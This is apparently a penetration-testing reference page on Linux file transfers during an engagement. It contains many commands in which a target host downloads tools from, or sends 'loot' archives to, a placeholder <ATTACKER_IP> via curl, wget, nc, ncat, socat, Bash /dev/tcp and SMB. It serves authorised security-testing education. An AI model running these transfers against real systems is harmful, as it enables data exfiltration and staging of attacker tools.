Knowledge tree
On this page

Linux File Transfers

Practical Linux file-transfer methods for shells, SSH sessions, constrained hosts, and common pentest fallback paths.
Updated 25 Aug 2026

On Linux, file transfer is usually a question of what the current shell can execute, which direction the target can reach, and whether an existing session already gives you a transport. A host with curl or wget may only need HTTP. A system with SSH can use scp, SFTP, rsync, or a raw SSH stream. A restricted reverse shell may leave only nc, Bash redirections, Base64, or the file-transfer features of the shell handler itself.

In this Note, download means attacker → Linux and upload means Linux → attacker unless a tool explicitly uses different terminology.

Quick reference

SituationMethods to try
HTTP(S) reachable from the targetcurl, wget, Python, BusyBox wget
HTTP upload endpoint availablecurl multipart POST or HTTP PUT
SSH credentials/session availablescp, SFTP, rsync, SSH streams
Only a basic outbound TCP connection worksNcat / nc, socat, Bash /dev/tcp
Current shell is managed by pwncat-csupload / download
SMB reachable and smbclient existssmbclient against a temporary share
Text-only channelBase64, optionally hex
Directory or many filestar, optionally streamed directly
Large or unstable transfercurl -C -, wget -c, SFTP reget / reput, rsync -P

The first useful check is the environment you already have:

id
pwd
umask
ps -p $$ -o comm=

command -v curl
command -v wget
command -v python3
command -v python
command -v busybox
command -v nc
command -v ncat
command -v socat
command -v ssh
command -v scp
command -v sftp
command -v rsync
command -v smbclient
command -v base64
command -v xxd
command -v tar
command -v sha256sum

$SHELL describes the user’s configured login shell and does not necessarily identify the shell behind the current reverse shell. ps -p $$ -o comm= is usually more useful when shell-specific syntax matters.

A writable directory is also contextual. /tmp is common, but do not assume that every target allows the current identity to write there or execute from it.

test -w /tmp && echo "/tmp is writable"
df -h /tmp 2>/dev/null

HTTP

HTTP is often the shortest path when the Linux host can initiate a connection to the operator machine.

Attacker setup

Python provides a simple read-only file server:

python3 -m http.server 8000 --directory /opt/tools

Files under /opt/tools are then reachable at:

http://<ATTACKER_IP>:8000/

The server is convenient for temporary assessment infrastructure. Expose only the directory you intend to serve.

Download

Equivalent target-side options can be grouped by what is installed.

curl -fL \
  http://<ATTACKER_IP>:8000/tool \
  -o /tmp/tool
wget \
  http://<ATTACKER_IP>:8000/tool \
  -O /tmp/tool
python3 -c "import urllib.request; urllib.request.urlretrieve('http://<ATTACKER_IP>:8000/tool', '/tmp/tool')"
busybox wget \
  -O /tmp/tool \
  http://<ATTACKER_IP>:8000/tool

curl -f makes HTTP 4xx/5xx responses fail instead of silently saving an error page as the intended binary, and -L follows redirects.

The BusyBox command is only a valid fallback when that build includes the wget applet and supports the options shown. BusyBox is compiled as a selectable set of applets, so inspect the actual target instead of assuming a full GNU-like toolset:

busybox --list 2>/dev/null
busybox wget --help 2>&1 | head

If the downloaded file is meant to be executed, transfer and execution are separate concerns:

chmod +x /tmp/tool
file /tmp/tool

Resuming an interrupted download

curl can derive the resume offset from the existing output file:

curl -fL -C - \
  http://<ATTACKER_IP>:8000/large.tar.gz \
  -o /tmp/large.tar.gz

Wget resumes a file left by an earlier invocation with -c:

cd /tmp
wget -c http://<ATTACKER_IP>:8000/large.tar.gz

Both methods depend on the HTTP server supporting range requests for a real HTTP resume. Verify the resulting file rather than assuming that a partial transfer was continued correctly.

For Wget, avoid treating -O as a simple rename option when resuming. -O behaves like output redirection and truncates the selected output file when the transfer starts; using the URL-derived local filename with -c keeps the continuation semantics unambiguous.

HTTP upload

A plain python3 -m http.server serves files but is not a general upload receiver. The target needs an endpoint whose method and body format match the client command.

Attacker setup with uploadserver

uploadserver extends Python’s simple server with an upload endpoint:

python3 -m pip install --user uploadserver
python3 -m uploadserver 8000 --directory ./loot

The multipart upload endpoint is:

http://<ATTACKER_IP>:8000/upload

Upload with curl

curl -f \
  -X POST \
  -F 'files=@/tmp/loot.tar.gz' \
  http://<ATTACKER_IP>:8000/upload

The server renames a duplicate filename by default rather than replacing the existing file. Use --allow-replace on the receiver only when overwriting is intentional.

curl can also upload a file with HTTP PUT:

curl -f \
  -T /tmp/loot.tar.gz \
  http://<ATTACKER_IP>:8000/loot.tar.gz

With an HTTP(S) URL, -T / --upload-file uses PUT. This works only when the receiving server explicitly accepts PUT at that path; uploadserver’s /upload example instead expects multipart POST.

SSH and SFTP

If you already have working SSH authentication, use it before creating another service. SSH gives several transfer options with authentication and encryption already solved.

scp

From the operator machine, upload to the Linux host:

scp ./tool user@<TARGET>:/tmp/tool

Download from the Linux host:

scp user@<TARGET>:/tmp/loot.tar.gz ./loot.tar.gz

For a non-default SSH port:

scp -P 2222 ./tool user@<TARGET>:/tmp/tool

Modern OpenSSH scp uses SFTP for transfers by default. If SSH login works but scp fails against an older or unusual server that does not provide a usable SFTP subsystem, the legacy SCP protocol can be selected explicitly:

scp -O ./tool user@<TARGET>:/tmp/tool

-O is a compatibility fallback, not a generally better transfer mode.

SFTP

When the operator connects to the target with SFTP:

sftp user@<TARGET>

the useful commands are:

put ./tool /tmp/tool
get /tmp/loot.tar.gz ./loot.tar.gz

For a non-default port:

sftp -P 2222 user@<TARGET>

SFTP also provides explicit resume operations:

reput ./large.tar.gz /tmp/large.tar.gz
reget /tmp/large.tar.gz ./large.tar.gz

Resumption assumes that the existing partial copy is the beginning of the same source file. If either side changed, restart the transfer and verify the result.

rsync over SSH

When rsync is available on both sides, it is useful for directories and interrupted transfers.

Upload:

rsync -avP \
  -e 'ssh -p 2222' \
  ./tools/ \
  user@<TARGET>:/tmp/tools/

Download:

rsync -avP \
  -e 'ssh -p 2222' \
  user@<TARGET>:/tmp/loot/ \
  ./loot/

-P is shorthand for --partial --progress: interrupted partial files are retained so a later run can reuse them.

For a single file where preserving archive metadata is unnecessary, a smaller option set is also fine:

rsync -P ./large.tar.gz user@<TARGET>:/tmp/large.tar.gz

Streaming through SSH

An SSH session can move arbitrary bytes without relying on scp, SFTP, or rsync.

Upload:

ssh user@<TARGET> 'cat > /tmp/tool' < ./tool

Download:

ssh user@<TARGET> 'cat /tmp/loot.tar.gz' > ./loot.tar.gz

This is useful when the SSH transport works but a file-transfer subsystem does not.

A directory can be streamed without first creating an archive on disk:

tar czf - -C ./tools . \
  | ssh user@<TARGET> 'mkdir -p /tmp/tools && tar xzf - -C /tmp/tools'

The reverse direction works the same way:

ssh user@<TARGET> \
  'tar czf - -C /var/tmp evidence' \
  > evidence.tar.gz

Raw TCP

A raw TCP stream is useful when higher-level clients are missing and the target can reach a listening operator port. It provides no authentication or encryption by itself.

Ncat

Ncat has explicit one-way modes that make file-transfer EOF behavior predictable.

Target → attacker:

Attacker:

ncat -l 9001 --recv-only > loot.tar.gz

Target:

ncat --send-only <ATTACKER_IP> 9001 < /tmp/loot.tar.gz

Attacker → target:

Attacker:

ncat -l 9001 --send-only < tool

Target:

ncat --recv-only <ATTACKER_IP> 9001 > /tmp/tool

--send-only closes the connection when input reaches EOF, which avoids a common one-way transfer hanging while each side waits for the other.

nc on a constrained target

nc is often present when Ncat is not. The connect-side form is widely portable:

Upload from target:

nc <ATTACKER_IP> 9001 < /tmp/loot.tar.gz

with Ncat receiving on the attacker:

ncat -l 9001 --recv-only > loot.tar.gz

Some nc implementations keep the socket open after standard input reaches EOF. In that case the bytes may already have been sent while one or both processes continue waiting. OpenBSD netcat provides -N to shut down the network socket after EOF and netcat-traditional commonly provides -q 0, but those switches are implementation-specific. Check nc -h before relying on either.

Download to target:

nc <ATTACKER_IP> 9001 > /tmp/tool

with Ncat sending on the attacker:

ncat -l 9001 --send-only < tool

socat

socat is another binary-safe one-way option.

Target → attacker:

Attacker:

socat -u TCP-LISTEN:9001,reuseaddr CREATE:loot.tar.gz

Target:

socat -u FILE:/tmp/loot.tar.gz TCP:<ATTACKER_IP>:9001

Attacker → target:

Attacker:

socat -u FILE:tool TCP-LISTEN:9001,reuseaddr

Target:

socat -u TCP:<ATTACKER_IP>:9001 CREATE:/tmp/tool

The -u switch makes the connection unidirectional from the first address to the second.

Bash /dev/tcp

When Bash is present, its redirection handling can open a TCP socket without a separate networking utility.

Download from attacker:

Attacker:

ncat -l 9001 --send-only < tool

Target:

bash -c 'cat < /dev/tcp/<ATTACKER_IP>/9001 > /tmp/tool'

Upload to attacker:

Attacker:

ncat -l 9001 --recv-only > loot.tar.gz

Target:

bash -c 'cat /tmp/loot.tar.gz > /dev/tcp/<ATTACKER_IP>/9001'

Using bash -c is deliberate. A reverse shell running as /bin/sh does not imply Bash semantics.

What /dev/tcp actually is

/dev/tcp/<host>/<port> is easy to misread as a Linux device or filesystem path. In Bash it is special redirection syntax: when that pathname is used in a redirection, Bash attempts to open a TCP socket for the host and port.

That distinction explains a common failure mode:

/bin/sh: cannot create /dev/tcp/10.10.10.10/9001: Directory nonexistent

The shell may be dash, BusyBox sh, or another /bin/sh implementation that does not implement Bash’s special redirections. In that case there is normally no real /dev/tcp directory for the kernel to open.

If Bash exists, invoke it explicitly:

command -v bash
bash -c 'cat < /dev/tcp/<ATTACKER_IP>/9001 > /tmp/tool'

Bash itself can also be built without its network-redirection feature, although distribution builds commonly enable it. A failure here therefore says something about the shell capability, not necessarily about network reachability.

Existing shell handler

If the reverse shell is already managed by a tool that provides file transfer, reusing the current channel avoids opening another service or requiring additional target connectivity.

pwncat-cs

At the local pwncat prompt, upload:

upload ./tool /tmp/tool

Download:

download /tmp/loot.tar.gz ./loot.tar.gz

pwncat transfers the data over the same shell connection and locates usable readers or writers on the remote host. These are pwncat commands, not commands to type into the remote shell.

The local working directory used by upload/download can be checked or changed with:

lpwd
lcd /path/to/engagement

SMB

A Linux host can also use an SMB share when TCP/445 is reachable and smbclient is available.

Attacker setup

Anonymous temporary share:

sudo impacket-smbserver share . -smb2support

If guest access does not work, expose the share with credentials instead:

sudo impacket-smbserver share . -smb2support \
  -username transfer \
  -password 'TransferPass1!'

Download with smbclient

Anonymous:

smbclient //<ATTACKER_IP>/share \
  -N \
  -c 'get tool /tmp/tool'

Authenticated:

smbclient //<ATTACKER_IP>/share -U transfer

Then use:

get tool /tmp/tool

Upload with smbclient

Anonymous:

smbclient //<ATTACKER_IP>/share \
  -N \
  -c 'put /tmp/loot.tar.gz loot.tar.gz'

Authenticated interactive session:

put /tmp/loot.tar.gz loot.tar.gz

smbclient transfers files in binary mode. Supplying the password interactively avoids embedding it in the shell history and process command line.

Text-only channels

When the only reliable path is terminal text, binary content can be represented as text and reconstructed on the other side.

Base64

Encode a small file on a GNU/Linux host as one line:

base64 -w 0 /tmp/loot.bin

If that implementation does not support -w, remove line breaks explicitly:

base64 /tmp/loot.bin | tr -d '\n'

Reconstruct the file:

printf '%s' '<BASE64_DATA>' | base64 -d > /tmp/tool

For a multiline paste, a quoted here-document avoids shell interpolation:

base64 -d > /tmp/tool <<'EOF'
<BASE64_DATA>
EOF

Base64 is binary-safe but increases the data size by roughly one third before line wrapping or transport overhead. It is therefore a useful fallback for small files, not a good default for a large archive.

Hex with xxd

If xxd is available:

xxd -p /tmp/loot.bin | tr -d '\n'

Reconstruct:

printf '%s' '<HEX_DATA>' | xxd -r -p > /tmp/tool

Hex is simple to inspect but doubles the binary size. xxd is also less universally installed than base64.

Packaging and streaming directories

tar is useful when the transfer contains multiple files or a directory tree.

Create an archive on the Linux target:

tar czf /tmp/loot.tar.gz \
  -C /var/tmp \
  evidence

Inspect it before transfer:

tar tzf /tmp/loot.tar.gz

When disk space is limited, stream the archive directly instead of creating /tmp/loot.tar.gz.

Attacker:

ncat -l 9001 --recv-only > loot.tar.gz

Target:

tar czf - -C /var/tmp evidence \
  | ncat --send-only <ATTACKER_IP> 9001

The same principle applies over SSH, as shown earlier. tar converts a directory tree into a byte stream; the transport can then be HTTP, SSH, Ncat, nc, or another binary-safe channel.

Verification and troubleshooting

A transfer is not complete merely because the client returned to the prompt. Check the result when integrity matters.

Hashes

Before transfer:

sha256sum tool

After transfer:

sha256sum /tmp/tool

Matching hashes confirm that both sides contain the same bytes.

File type and permissions

ls -lh /tmp/tool
file /tmp/tool

For an executable:

chmod +x /tmp/tool

A successful transfer followed by Permission denied or Exec format error is not automatically a transfer failure. Check the filesystem mount and binary architecture:

findmnt -no TARGET,OPTIONS /tmp 2>/dev/null
file /tmp/tool
uname -m

A noexec mount or an architecture mismatch can prevent execution even when the file arrived intact.

Common failures

SymptomCheck
curl saves HTML instead of the expected fileUse -f; verify URL and receiver response
wget -c produces unexpected contentConfirm the partial file belongs to the same remote object and the server supports ranges
HTTP upload returns 405/400Confirm POST vs PUT and the expected body format
SSH login works but scp failsCheck SFTP availability; use scp -O only for legacy compatibility or use an SSH stream
/dev/tcp/... reports a missing directoryConfirm that Bash is actually executing the redirection
nc listener flags failIdentify the netcat implementation; use Ncat on the operator side when possible
Raw TCP transfer never exitsUse Ncat --send-only / --recv-only or explicitly manage EOF
Hashes differTreat the transfer as partial/corrupt and repeat it
File transferred but will not executeCheck mode bits, noexec, architecture, and interpreter availability
Write fails in /tmp or another pathCheck the current identity, permissions, free space, and choose another writable destination

References